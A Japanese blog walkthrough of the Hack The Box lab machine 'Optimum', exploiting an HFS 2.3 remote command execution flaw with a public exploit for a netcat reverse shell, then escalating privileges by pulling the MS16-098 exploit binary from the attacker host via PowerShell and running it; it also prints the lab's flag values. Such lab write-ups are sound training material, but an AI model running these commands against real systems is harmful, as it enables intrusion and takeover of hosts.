セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Optimum Walkthrough

はじめに

  • マシン名:Optimum
  • OS:Windows
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.8

ポートスキャン

# nmap -A 10.10.10.8

f:id:Paichan:20200415232055p:plain 80(http)ポートが開いている。

ブラウザで80番ポートへアクセス

ブラウザで80番ポートへアクセス。Searchの入力フォームに記号や文字列を入力したが、 特におかしな挙動はない。 f:id:Paichan:20200415232707p:plain

HFS 2.3の脆弱性調査

nmapの結果や、ブラウザでアクセスした際にも表示されていたHttpFileServer(HFS)2.3の脆弱性を調査する。

# searchsploit hfs 2.3

f:id:Paichan:20200415232951p:plain pythonスクリプトが用意されているRemote Command Execution(2)(39161.py)を使ってみる。

39161.pyの利用

39161.pyをカレントディレクトリにコピーし、使用方法を把握するために中身を確認する。

# cp /usr/share/exploitdb/exploits/windows/remote/39161.py .
# cat 39161.py

f:id:Paichan:20200415235924p:plain

とのこと。また、コード内にはリスナーとして待ち受けるIP、ポートを指定する箇所があった。 つまり、このエクスプロイトコードを実行するための手順は以下。

  1. nc.exeを配置したWebサーバを起動
  2. リバースシェルを待ち受けるリスナーのIP、ポートを指定
  3. 2で指定したポートで待ち受け
  4. エクスプロイトコード実行

1. nc.exeを配置したWebサーバを起動

nc.exeの場所を探し、カレントディレクトリへコピーする。

# locate nc.exe
# cp /usr/share/windows-resources/binaries/nc.exe .

f:id:Paichan:20200416002048p:plain このディレクトリ上でWebサーバを起動。

# python -m SimpleHTTPServer 80

2. リバースシェルを待ち受けるリスナーのIP、ポートを指定

待ち受けるIPを攻撃端末の10.10.14.21、ポートを8080に指定。 f:id:Paichan:20200416002649p:plain

3. 2で指定したポートで待ち受け

# nc -lvp 8080

4. エクスプロイトコード実行

準備が整ったので、エクスプロイトコードを実行。すると、3で待ち受けた8080ポートにシェルが返ってきた(画像右下)。

# python 39161.py 10.10.10.8 80

f:id:Paichan:20200416003749p:plain

デスクトップ上にあるuser.txt.txtを取得。

dir
type user.txt.txt

f:id:Paichan:20200416004100p:plain

権限昇格のための脆弱性調査

権限昇格のための脆弱性調査のために、Windows-Exploit-Suggester(※)を使う。
マイクロソフト脆弱性データベースと比較し、ターゲット端末で欠落しているパッチを検出。利用可能なエクスプロイトコードやMetasploitモジュールがあるかどうかを通知するツール

リポジトリを取得し、Windows-Exploit-Suggesterのデータベースをアップデートする。アップデートを行うとデータベースファイル(xls)が生成される。

# git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
# cd Windows-Exploit-Suggester/
# python windows-exploit-suggester.py --update

f:id:Paichan:20200416011131p:plain

xlrdモジュールが必要なため、インストールする。 その前に、kali linuxにpipが入っていなかったため、まずはpipをインストール。

# curl "https://bootstrap.pypa.io/get-pip.py" -o "get-pip.py"
# python get-pip.py

pipインストール後、xlrdモジュールのインストール。

# pip install xlrd --upgrade

f:id:Paichan:20200416012246p:plain

Windows-Exploit-Suggesterはターゲット環境のsysteminfoコマンドの実行結果が必要であるため、実行結果をsysteminfo.txtとして保存する。

systeminfo

Host Name: OPTIMUM
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00252-70000-00000-AA535
Original Install Date: 18/3/2017, 1:51:36
System Boot Time: 19/4/2020, 10:36:32
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 1 Processor(s) Installed.
[01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/12/2018
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest
Total Physical Memory: 4.095 MB
Available Physical Memory: 3.463 MB
Virtual Memory: Max Size: 5.503 MB
Virtual Memory: Available: 4.912 MB
Virtual Memory: In Use: 591 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: \OPTIMUM otfix(s): 31 Hotfix(s) Installed.
[01]: KB2959936
[02]: KB2896496
[03]: KB2919355
[04]: KB2920189
[05]: KB2928120
[06]: KB2931358
[07]: KB2931366
[08]: KB2933826
[09]: KB2938772
[10]: KB2949621
[11]: KB2954879
[12]: KB2958262
[13]: KB2958263
[14]: KB2961072
[15]: KB2965500
[16]: KB2966407
[17]: KB2967917
[18]: KB2971203
[19]: KB2971850
[20]: KB2973351
[21]: KB2973448
[22]: KB2975061
[23]: KB2976627
[24]: KB2977629
[25]: KB2981580
[26]: KB2987107
[27]: KB2989647
[28]: KB2998527
[29]: KB3000850
[30]: KB3003057
[31]: KB3014442
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.8
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.

以下のコマンドで実行すると、欠落しているパッチが表示される。

# python windows-exploit-suggester.py --database 2020-04-13-mssb.xls --systeminfo systeminfo.txt

f:id:Paichan:20200416224509p:plain

権限昇格

簡単そうだったので、上から2番目のMS16-098のエクスプロイトコードを使うことにした。
エクスプロイトコードのあるURLにいくと、バイナリファイルが記載されたURLが記載されている。 f:id:Paichan:20200416225632p:plain

このバイナリをダウンロードし、バイナリを配置したディレクトリ上でWebサーバを起動する。

# wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe
# python -m SimpleHTTPServer 80

f:id:Paichan:20200416230030p:plain

ターゲット端末のシェル上でpowershellを実行し、攻撃者端末に配置したバイナリを持ってくる。 ダウンロードしたバイナリを実行することで権限昇格が成功する。

powershell wget http://10.10.14.21/41020.exe -outfile 41020.exe
dir
41020.exe
whoami

f:id:Paichan:20200416230350p:plain

これでデスクトップ上にあるroot.txtが取得できる。

type root.txt

f:id:Paichan:20200416230450p:plain

user.txt:d0c39409d7b994a9a1389ebf38ef5f73
root.txt:51ed1b36553c8461f4552c2e92b3eeed